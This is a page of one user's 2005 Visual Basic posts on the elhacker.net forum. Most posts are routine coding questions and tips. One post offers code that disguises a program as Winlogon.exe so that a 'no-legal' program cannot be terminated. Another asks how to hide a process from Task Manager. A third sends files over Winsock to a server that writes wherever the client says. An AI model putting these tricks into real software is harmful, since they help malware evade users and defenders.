elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: 1 [2]
11  Programación / Programación Visual Basic / Proceso Protegido en: 30 Septiembre 2005, 04:31 am
Bueng0 gente, les keria compartir un codigo cencillisimo que acabo de hacer y que me parecio muy util ;D
Este codigo iria en el Load del 1er from que se ejecuta, y lo que hace es copiar el ejecutable en otro directorio con el nombre 'Winlogon.exe' (con este nombre, el proceso no puede ser terminado ;)), luego se cierra y habre la nueva copia. De este modo nuestro programa 'no-legal' no puede ser terminado....
Esper0 q les sea de utilidad
Código:
Private Sub Form_Load()

    Me.Visible = False 'esconde el From de la pantalla
   
    If App.PrevInstance = True Then 'evita que se ejecute 2 veces
        End
    End If
   
    If App.EXEName <> "Winlogon" Then 'si el programa no se llama "Winlogon.exe" entonces
        FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Winlogon.exe" 'lo copiamos al disco 'C:' con ese nombre
        DoEvents
        Shell "C:\Winlogon.exe" 'y lo ejecutamos
        DoEvents
        End
    Else 'en cambio, si se llama Winlogon.exe
        'Ejecutamos el codigo normal de nuestro programa
    End If

End Sub

NOTA: si vas a probar este ejemplo en tu pc, te conviene dejar el From visible y con un boton para finalizar el programa, ya que de otro modo va a ser imposible terminarlo (RESET xD)

esper0 que les sirva, y si no c entiende alg0 posteen (pero me parece q esta bien clarito :P)

salu2 !!!

G0nz4
12  Programación / Programación Visual Basic / Open For Binary en: 18 Septiembre 2005, 19:58 pm
hola a todos
buen0 mi problema es el siguiente:
estoy intentando hacer una especie de 'Edit Server'...
para escribir el archivo uso el siguiente

Código:
    Open "C:\Hola.exe" For Binary As #1
        Put #1, LOF(1) + 1, Text1.Text
    Close #1

el problema aparece cuando trato de LEER el archivo ... la verdad no se como hacerlo, buske en el foro y en google pero no encuentro ningun metodo que me de resultad0 :S

si alguien sabe como hacerlo estaria muy agradecido de que me lo digiera :)

un salud0 a t02

G0nz4

EDIT:
el codigo que estoy tratando de usar para leer es este:
Código:
    Dim var As String
    Open "C:\Hola.exe" For Binary As #1
     Get #1, LOF(1) - 20, var
   Close #1
   Text2.Text = var
13  Programación / Programación Visual Basic / Resize En Un Form Sin Borde en: 9 Septiembre 2005, 00:54 am
hola gente
bueno, estuve investigando y no encontre nada =S...
necesito cambiar el tamaño de un Form sin borde (Border Style = 0 - None) como si tuviera la propidad en 2 - Sizable en tiempo de ejecucion...
si alguien sabe como hacerl0 le agradeceria mucho que me lo dijiera :)

un salud0

G0nz4
14  Programación / Programación Visual Basic / Apariencia de Windows XP en: 5 Septiembre 2005, 01:24 am
Hola A T0d0s
Bueno acabo de encontrar una guia muy interesante para que tus aplicaciones tengan los mismos controles que los del Win XP.

lo voy a resumir un pokito, los que kieran leer la guia completa > http://www.elguille.info/vb/ejemplos/temasXPvb6.htm

Aca van los pasos:
(Como ejemplo, el programa se va a llamar TuPrograma.exe)


1. Abran el Notapad (Bloc de Notas) y peguen esto:
Código:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    name="TuPrograma.exe"
    processorArchitecture="x86"
    version="1.0.0.1000"
    type="win32"
/>
<description>Descripcion de tu programa</description>
<dependency>
    <dependentAssembly>
        <assemblyIdentity
            type="win32"
            name="Microsoft.Windows.Common-Controls"
            version="6.0.0.0"
            processorArchitecture="x86"
            publicKeyToken="6595b64144ccf1df"
            language="*"
        />
    </dependentAssembly>
</dependency>
</assembly>

2. Le das a 'Archivo>Guardar como' y le pones de nombre TuPrograma.exe.Manifest
NOTA: el archivo tiene que estar en el mismo directorio que tu programa (pesa solo 1kb) sino se va a ver comun...
3. Abris tu proyecto en el VB y declaras lo siguiente:
Código:
Private Declare Sub InitCommonControls Lib "Comctl32.dll" ()
4. En el primer Form que aparece pones lo siguiente:
Código:
 
Private Sub Form_Initialize()
    InitCommonControls
End Sub
5 Ya esta ;D Guardas tu proyecto y litoh...
6. Podes hacer un archivo que se llame VB6.exe.manifest para que puedas ver como va kedando mientras lo programas...

Aclaraciones:
- TuProgram.exe y TuPrograma.exe.Manifest tienen que estar en el mismo directorio...
- Los controles del archivo MsComctl.ocx no adoptaran la apariencia. Para reemplazarlo usa los controles del comctl.ocx (Microsoft Windows Common Controls 5.0 (SP2))
- Algunos controles como el Check o el Option se ven negros si no los metes en un Picture. Por eso te recomiendo que crees el VB6.exe.manifest asi te podes ir fijando que controles no se ven y necesitan un Pcture o un Frame (anda fijandote xD)

Bueno espero que les sea util... Si no entienden algo... lean la guia completa xD
y si todavia no entendieron, posteen ;D

un slaud0 a todos

G0nz4

EDIT:
Fuente: http://www.elguille.info ;)
15  Programación / Programación Visual Basic / Run-Time Error 339 en: 1 Septiembre 2005, 23:56 pm
hola a todos...

este error me tiene loco :S no se que puede ser...
el programa me anda en mi pc pero no en otras computadores...
uso Windows XP y a las unicas DLL's que llamo son la User32 y a la Shell32

si alguien sabe q puede ser estaria muy agradecido...

un saludo

G0nz4
16  Programación / Programación Visual Basic / [RegisterServiceProcess] Error en: 28 Agosto 2005, 22:27 pm
H0la
bueno, estoy intentando esconder un proceso del Administrador de Tareas, pero intento registrar el programa como un servicio (utilizando "RegisterServiceProcess") me dice que no encuentra esa sentencia en 'Kernel32'
uso Windows XP
esto es por la version del OS ??
mi Kernel esta dañoado ??

si alguien peude responderme estaria muy agradecido =)

Gracias de anteman0

G0nz4
17  Programación / Programación Visual Basic / Enviar archivo en: 28 Agosto 2005, 00:26 am
bueno, queria compartir con uds un metodo sencillo para enviar archivos x medio de un WinSock ya que veo que siempre tienen problemas con esto
espero que les sea util

ak va el codigo del Cliente (el q manda el archivo)
Código:
Private Sub Command1_Click()
Dim SaveIn As String
Command1.Enabled = 0 'para que no mandarlo 2 veces
SaveIn = txtSaveIn.Text
tcpCliente.SendData SaveIn 'mandamos la ubicacion de donde se guardarra el archivo en el servidor

DoEvents 'cuando termine...
'mandamos el archivo

Dim Buffer As String * 50000 'declaramos la variable de 1 Kb
Common.ShowOpen 'buscamos el archivo a enviar
Open Common.FileName For Binary As #1 'abrimos en modo binario
    Do While Not EOF(1) 'mientras no lleguemos al final
        Get #1, , Buffer
        tcpCliente.SendData Buffer 'va mandando los datos
    Loop 'hasta q terminemos
Close #1 'cerramos el archivo
End Sub

Private Sub Form_Load()
txtSaveIn.Text = "Guardar en..."

'esto se puede sacar =)
tcpCliente.RemoteHost = "127.0.0.1"
tcpCliente.RemotePort = 4664
tcpCliente.Connect
End Sub

Private Sub tcpCliente_SendComplete()
Command1.Enabled = 1
End Sub

ak ta el code del servidor (el q resive el archivo)

Código:
Private Sub Form_Load()
tcpServidor.LocalPort = 4664
tcpServidor.Listen
End Sub

Private Sub tcpServidor_ConnectionRequest(ByVal requestID As Long)
tcpServidor.Close
tcpServidor.Accept requestID
End Sub

Private Sub tcpServidor_DataArrival(ByVal bytesTotal As Long)
Dim Datos As String
Dim SaveIn As String
Dim i As Long
tcpServidor.GetData Datos

i = Len(Datos) - 3

   Select Case Mid(Datos, i, 1)
        Case "."
            SaveIn = Datos
            Label1.Caption = SaveIn
        Case Else
            'guardamos los datos
            Open Label1.Caption For Binary As #1
            Seek (1), LOF(1) + 1
            Put #1, , Datos
            Close #1
    End Select
End Sub

bueno espero q le sirva a alguien ::D
el codigo esta probado, pero si alguien tiene algun problema q pregunte

un salud0

G0nz4
18  Programación / Programación Visual Basic / Seleccionar una linea en un txtb0x en: 27 Agosto 2005, 00:38 am
necesito saber como hacer para que cuando al hacer click en un textbox se seleccione toda una linea (no todo el textbox, solo la linea en la que se hizo click)
no se si es posible esto :S
muchas gracias de antemano

un abraz0
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines